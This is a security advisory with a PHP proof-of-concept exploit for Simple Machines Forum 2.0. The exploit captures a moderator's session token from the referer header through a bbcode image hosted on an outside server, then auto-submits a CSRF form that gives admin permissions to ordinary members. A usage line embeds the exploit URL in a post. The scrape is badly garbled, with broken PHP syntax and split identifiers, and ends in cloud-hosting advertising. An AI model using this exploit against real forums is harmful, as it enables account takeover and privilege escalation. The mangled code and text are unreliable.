Simple Machines forum (SMF) 2.0 session hijacking
Found by The X-C3LL and seth
Website: http://www.simplemachines. org/
SMF stops csrf attacks sending a session token in all the requests wich make changes to the forum.
Usually, it goes in the POST content but when navigating the moderation zone it's present in the url (you need to click the links from inside that zone !). In some places, an attacker can use bbcode to insert a tag, forcing the browser to make a request and leak the token in the referer header.
There are two ways for an attacker to place a image:
-Writing in the moderators chat (? Action = moderate), requires being a moderator.
-Making a post and reporting it to the moderator (it will be sent to all the section mod and the global mod, who will see it in? Action = moderate; area = reports)
Removing lines 104 and 105 from Subs-Menu.php seems to solve the problem and nothing stops working (!) :
//////////////////////////////////////// /////////////
If (empty ($ menuOptions ['Disable _ url_session_check '])
$ Menu_context ['extra _ parameters ']. ='; '. $ context ['session _ var'].' = '. $ context ['session _ id'];
//////////////////////////////////////// /////////////
PoC exploit wich gives admin privileges to the regular members:
//////////////////////////////////////// /////////////
<? PHP
Error_reporting (0 );
If ($ _ GET [1]) {// Show the image
File_put_contents ('. htoken', $ _ SERVER ['HTTP _ referer']); // we only save the last token because we are lazy
Header ('content-Type: image/jpeg ');
Readfile('clickme.jpg '); // put a image here
} Else {// Redirect to the admin panel
$ File = explode (';', file_get_contents ('. htoken '));
$ File = explode ('=', $ file [2]);
$ Token = '<input type = "hidden" name = "'. htmlentities ($ file [0], ENT_QUOTES ). '"value = "'. htmlentities ($ file [1], ENT_QUOTES ). '"/> ';
?>
<Html>
<Form action = "http://www.bkjia.com/smf/index. php? Action = admin; area = permissions; sa = modify2; group = 0; pid = 0 "method =" post ">
<Input type = "hidden" name = "group_select_view_basic_info" value = "on"/> <input type = "hidden" name = "perm [membergroup] [view_stats]" value =" on "/> <input type =" hidden "name =" perm [membergroup] [view_mlist] "value =" on "/> <input type =" hidden "name =" perm [membergroup] [who_view] "value =" on "/> <input type =" hidden "name =" perm [membergroup] [search_posts] "value =" on "/> <input type = "hidden" name = "perm [membergroup] [ca Lendar_view] "value =" on "/> <input type =" hidden "name =" perm [membergroup] [profile_view_own] "value =" on "/> <input type =" hidden "name =" perm [membergroup] [profile_view_any] "value =" on "/> <input type =" hidden "name =" group_select_moderate_general "value =" on "/> <input type = "hidden" name = "perm [membergroup] [karma_edit]" value = "on"/> <input type = "hidden" name = "perm [membergroup] [calendar_edit_any] "value =" off" /> <Input type = "hidden" name = "perm [membergroup] [access_mod_center]" value = "on"/> <input type = "hidden" name = "perm [membergroup] [moderate_forum] "value =" on "/> <input type =" hidden "name =" perm [membergroup] [issue_warning] "value =" off "/> <input type = "hidden" name = "perm [membergroup] [profile_identity_any]" value = "on"/> <input type = "hidden" name = "perm [membergroup] [profile_extra_any]" value = "on"/> <input type = "Hidden" name = "perm [membergroup] [profile_title_any]" value = "on"/> <input type = "hidden" name = "perm [membergroup] [profile_remove_any]" value = "on"/> <input type = "hidden" name = "group_select_use_pm_system" value = "on"/> <input type = "hidden" name = "perm [membergroup] [pm_read] "value =" on "/> <input type =" hidden "name =" perm [membergroup] [pm_send] "value =" on "/> <input type = "hidden" name = "perm [membergroup] [calen Dar_post] "value =" off "/> <input type =" hidden "name =" perm [membergroup] [calendar_edit_own] "value =" off "/> <input type =" hidden "name =" group_select_administrate "value =" on "/> <input type =" hidden "name =" perm [membergroup] [admin_forum] "value =" on "/> <input type = "hidden" name = "perm [membergroup] [manage_boards]" value = "on"/> <input type = "hidden" name = "perm [membergroup] [manage_attachments] "value =" on "/> <Indium Ut type = "hidden" name = "perm [membergroup] [manage_smileys]" value = "on"/> <input type = "hidden" name = "perm [membergroup] [edit_news] "value =" on "/> <input type =" hidden "name =" perm [membergroup] [manage_membergroups] "value =" on "/> <input type =" hidden "name =" perm [membergroup] [manage_permissions] "value =" on "/> <input type =" hidden "name =" perm [membergroup] [manage_bans] "value =" on "/> <input type =" hidden "name =" p Erm [membergroup] [send_mail] "value =" on "/> <input type =" hidden "name =" group_select_edit_profile "value =" on "/> <input type =" hidden "name =" perm [membergroup] [profile_identity_own] "value =" on "/> <input type =" hidden "name =" perm [membergroup] [profile_extra_own] "value =" on "/> <input type =" hidden "name =" perm [membergroup] [profile_title_own] "value =" on "/> <input type =" hidden "name =" group_select_delete_account "Value =" on "/> <input type =" hidden "name =" perm [membergroup] [profile_remove_own] "value =" on "/> <input type =" hidden" name = "group_select_use_avatar" value = "on"/> <input type = "hidden" name = "perm [membergroup] [profile_server_avatar]" value = "on"/> <input type = "hidden" name = "perm [membergroup] [profile_upload_avatar]" value = "on"/> <input type = "hidden" name = "perm [membergroup] [profile_remote_avatar]" value = "o N "/> <input type =" hidden "name =" group_select_moderate "value =" on "/> <input type =" hidden "name =" perm [board] [moderate_board] "value =" on "/> <input type =" hidden "name =" perm [board] [approve_posts] "value =" off "/> <input type =" hidden" name = "perm [board] [merge_any]" value = "on"/> <input type = "hidden" name = "perm [board] [split_any]" value = "on "/> <input type =" hidden "name =" perm [board] [send_topic] "value =" on "/> <Input type = "hidden" name = "perm [board] [make_sticky]" value = "on"/> <input type = "hidden" name = "perm [board] [move_own] "value =" on "/> <input type =" hidden "name =" perm [board] [move_any] "value =" on "/> <input type =" hidden "name =" perm [board] [lock_own] "value =" on "/> <input type =" hidden "name =" perm [board] [lock_any] "value =" on "/> <input type =" hidden "name =" perm [board] [remove_any] "value =" on "/> <input type =" hidde N "name =" perm [board] [modify_replies] "value =" on "/> <input type =" hidden "name =" perm [board] [delete_replies] "value = "on"/> <input type = "hidden" name = "perm [board] [announce_topic]" value = "on"/> <input type = "hidden" name =" perm [board] [delete_any] "value =" on "/> <input type =" hidden "name =" perm [board] [modify_any] "value =" on "/> <input type = "hidden" name = "perm [board] [poll_add_any]" value = "on"/> <input type = "h Idden "name =" perm [board] [poll_edit_any] "value =" on "/> <input type =" hidden "name =" perm [board] [poll_lock_own] "value = "on"/> <input type = "hidden" name = "perm [board] [poll_lock_any]" value = "on"/> <input type = "hidden" name =" perm [board] [poll_remove_any] "value =" on "/> <input type =" hidden "name =" group_select_make_posts "value =" on "/> <input type =" hidden "name =" perm [board] [post_new] "value =" on "/> <input type = "Hidden" name = "perm [board] [post_reply_own]" value = "on"/> <input type = "hidden" name = "perm [board] [post_reply_any]" value = "on"/> <input type = "hidden" name = "perm [board] [post_unapproved_topics]" value = "on"/> <input type = "hidden" name = "perm [board] [post_unapproved_replies_own]" value = "on"/> <input type = "hidden" name = "perm [board] [post_unapproved_replies_any]" value = "on "/> <input type = "hidden" name = "perm [B Oard] [post_unapproved_attachments] "value =" on "/> <input type =" hidden "name =" group_select_modify "value =" on "/> <input type =" hidden "name = "perm [board] [remove_own]" value = "on"/> <input type = "hidden" name = "perm [board] [delete_own]" value = "on" /> <input type = "hidden" name = "perm [board] [modify_own]" value = "on"/> <input type = "hidden" name = "perm [board] [poll_edit_own] "value =" on "/> <input type =" hidden "name =" Perm [board] [poll_remove_own] "value =" on "/> <input type =" hidden "name =" group_select_participant ipate "value =" on "/> <input type =" hidden "name =" perm [board] [report_any] "value =" on "/> <input type =" hidden "name =" perm [board] [poll_view] "value =" on "/> <input type =" hidden "name =" perm [board] [poll_vote] "value =" on "/> <input type =" hidden "name =" perm [board] [view_attachments] "value =" on "/> <input type =" hidden "name =" Group_select_post_polls "value =" on "/> <input type =" hidden "name =" perm [board] [poll_post] "value =" on "/> <input type =" hidden "name =" perm [board] [poll_add_own] "value =" on "/> <input type =" hidden "name =" group_select_notification "value =" on "/> <input type = "hidden" name = "perm [board] [mark_any_notify]" value = "on"/> <input type = "hidden" name = "perm [board] [mark_notify] "value =" on "/> <input type =" hidden "name =" g Roup_select_attach "value =" on "/> <input type =" hidden "name =" perm [board] [post_attachment] = on "/> <? PHP echo $ token;?>
</Form> <script> document. forms [0]. submit () </script>
</Body>
<?
}
//////////////////////////////////////// /////////////
Use:
[Url = http://www.bkjia.com/exploit. php] [img] http://www.bkjia.com/exploit. php? 1 = 1 [/img] [/url]
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
